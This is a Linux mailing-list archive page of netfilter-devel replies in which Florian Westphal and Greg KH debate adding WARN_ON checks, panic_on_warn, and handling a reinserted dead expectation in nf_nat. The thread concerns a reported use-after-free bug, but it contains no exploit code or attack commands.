^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash
2026-07-12 7:40 ` Florian Westphal
@ 2026-07-12 7:54 ` Greg KH
2026-07-12 8:08 ` Florian Westphal
0 siblings, 1 reply; 10+ messages in thread
From: Greg KH @ 2026-07-12 7:54 UTC (permalink / raw)
To: Florian Westphal; +Cc: Jaeyeong Lee, netfilter-devel, pablo, phil
On Sun, Jul 12, 2026 at 09:40:16AM +0200, Florian Westphal wrote:
> Greg KH <gregkh@linuxfoundation.org> wrote:
> > > I think this function should WARN_ON_ONCE when one tries to reinsert a
> > > dead expectation (and return -EINVAL or another appropriate error).
> > >
> > > (This is indenpendent of the real fix).
> >
> > If you do that, then the machine will reboot, loosing everything.
> > Are you sure you want that to happen?
>
> Of course not, i never set panic_on_warn.
You don't, but a few billion Linux installs do :)
> > Why not just properly handle the
> > issue if it possibly could happen?
>
> This is no different than the WARNs on list corruption or refcount
> under/overflows.
True, but adding new ones is not a good idea, and removing the existing
ones is a good idea.
> Would you propose to remove those? I hope not, they help catch bugs.
Bugs that userspace can trigger? If so, then properly catch them by
testing and handling the issue. If userspace can never trigger it, then
it's not really needed as the code is never going to trigger.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash
2026-07-12 7:54 ` Greg KH
@ 2026-07-12 8:08 ` Florian Westphal
2026-07-12 8:20 ` Greg KH
0 siblings, 1 reply; 10+ messages in thread
From: Florian Westphal @ 2026-07-12 8:08 UTC (permalink / raw)
To: Greg KH; +Cc: Jaeyeong Lee, netfilter-devel, pablo, phil
Greg KH <gregkh@linuxfoundation.org> wrote:
> > This is no different than the WARNs on list corruption or refcount
> > under/overflows.
>
> True, but adding new ones is not a good idea, and removing the existing
> ones is a good idea.
We're fucked, then. Can we at least use DEBUG_NET_WARN or something
like that so at least fizzers can give us hints about bugs?!
> > Would you propose to remove those? I hope not, they help catch bugs.
>
> Bugs that userspace can trigger? If so, then properly catch them by
> testing and handling the issue.
Aka "Don't write buggy code". Should have thought of that.
> If userspace can never trigger it, then
> it's not really needed as the code is never going to trigger.
It causes memory corruption and evidently triggers.
With "silently catch error" and no WARN there will be rare,
intermittent connectivity issues.
We are NOT in a syscall, there is no process to return
a meaningful error code to.
With WARN at least there is some chance that someone will report
it so underlying root cause gets fixed.
EOD from my side, have iot your way, silent ignore it is.
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash
2026-07-12 8:08 ` Florian Westphal
@ 2026-07-12 8:20 ` Greg KH
2026-07-12 8:40 ` panic_on_warn and lack of lesser-WARN (was: Re: [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash) Florian Westphal
0 siblings, 1 reply; 10+ messages in thread
From: Greg KH @ 2026-07-12 8:20 UTC (permalink / raw)
To: Florian Westphal; +Cc: Jaeyeong Lee, netfilter-devel, pablo, phil
On Sun, Jul 12, 2026 at 10:08:16AM +0200, Florian Westphal wrote:
> Greg KH <gregkh@linuxfoundation.org> wrote:
> > > This is no different than the WARNs on list corruption or refcount
> > > under/overflows.
> >
> > True, but adding new ones is not a good idea, and removing the existing
> > ones is a good idea.
>
> We're fucked, then. Can we at least use DEBUG_NET_WARN or something
> like that so at least fizzers can give us hints about bugs?!
That's up to you. If panic_on_warn wasn't an option, about half of the
kernel CVEs would disappear tomorrow.
> > > Would you propose to remove those? I hope not, they help catch bugs.
> >
> > Bugs that userspace can trigger? If so, then properly catch them by
> > testing and handling the issue.
>
> Aka "Don't write buggy code". Should have thought of that.
No, I'm not saying that, I'm saying that if this is something that could
possibly happen, then let's catch that with a real check.
> > If userspace can never trigger it, then
> > it's not really needed as the code is never going to trigger.
>
> It causes memory corruption and evidently triggers.
>
> With "silently catch error" and no WARN there will be rare,
> intermittent connectivity issues.
>
> We are NOT in a syscall, there is no process to return
> a meaningful error code to.
It's up to you, if you really want WARN_ON(), that's fine, but realize
that if it can be triggered, it will require a round of fixing as it can
take down systems.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 10+ messages in thread
* panic_on_warn and lack of lesser-WARN (was: Re: [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash)
2026-07-12 8:20 ` Greg KH
@ 2026-07-12 8:40 ` Florian Westphal
0 siblings, 0 replies; 10+ messages in thread
From: Florian Westphal @ 2026-07-12 8:40 UTC (permalink / raw)
To: Greg KH; +Cc: netfilter-devel
Greg KH <gregkh@linuxfoundation.org> wrote:
> > > True, but adding new ones is not a good idea, and removing the existing
> > > ones is a good idea.
> >
> > We're fucked, then. Can we at least use DEBUG_NET_WARN or something
> > like that so at least fizzers can give us hints about bugs?!
>
> That's up to you. If panic_on_warn wasn't an option, about half of the
> kernel CVEs would disappear tomorrow.
That explains your WARN() allergy, I can relate to that.
Its a shame there is nothing like WARN_BENIGN() or similar that doesn't
panic even with panic_on_warn=1.
I get some people really want s/WARN/BUG at run time for things
like "this list is corrupted" or "you tried refcount_inc() on a 0
refcount". But even for "this refcount is saturated" I don't get
why you want to crash the system right away.
Feels a bit like setting your car on fire because the side window was
slightly dirty :-)
^ permalink raw reply [flat|nested] 10+ messages in thread
end of thread, other threads:[~2026-07-12 8:40 UTC | newest]
Thread overview: 10+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-10 23:19 netfilter: nf_nat_sip expectation UAF permits local privilege escalation Jaeyeong Lee
2026-07-11 5:29 ` Greg KH
2026-07-11 14:21 ` [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash Jaeyeong Lee
2026-07-11 16:29 ` Florian Westphal
2026-07-12 5:54 ` Greg KH
2026-07-12 7:40 ` Florian Westphal
2026-07-12 7:54 ` Greg KH
2026-07-12 8:08 ` Florian Westphal
2026-07-12 8:20 ` Greg KH
2026-07-12 8:40 ` panic_on_warn and lack of lesser-WARN (was: Re: [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash) Florian Westphal
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.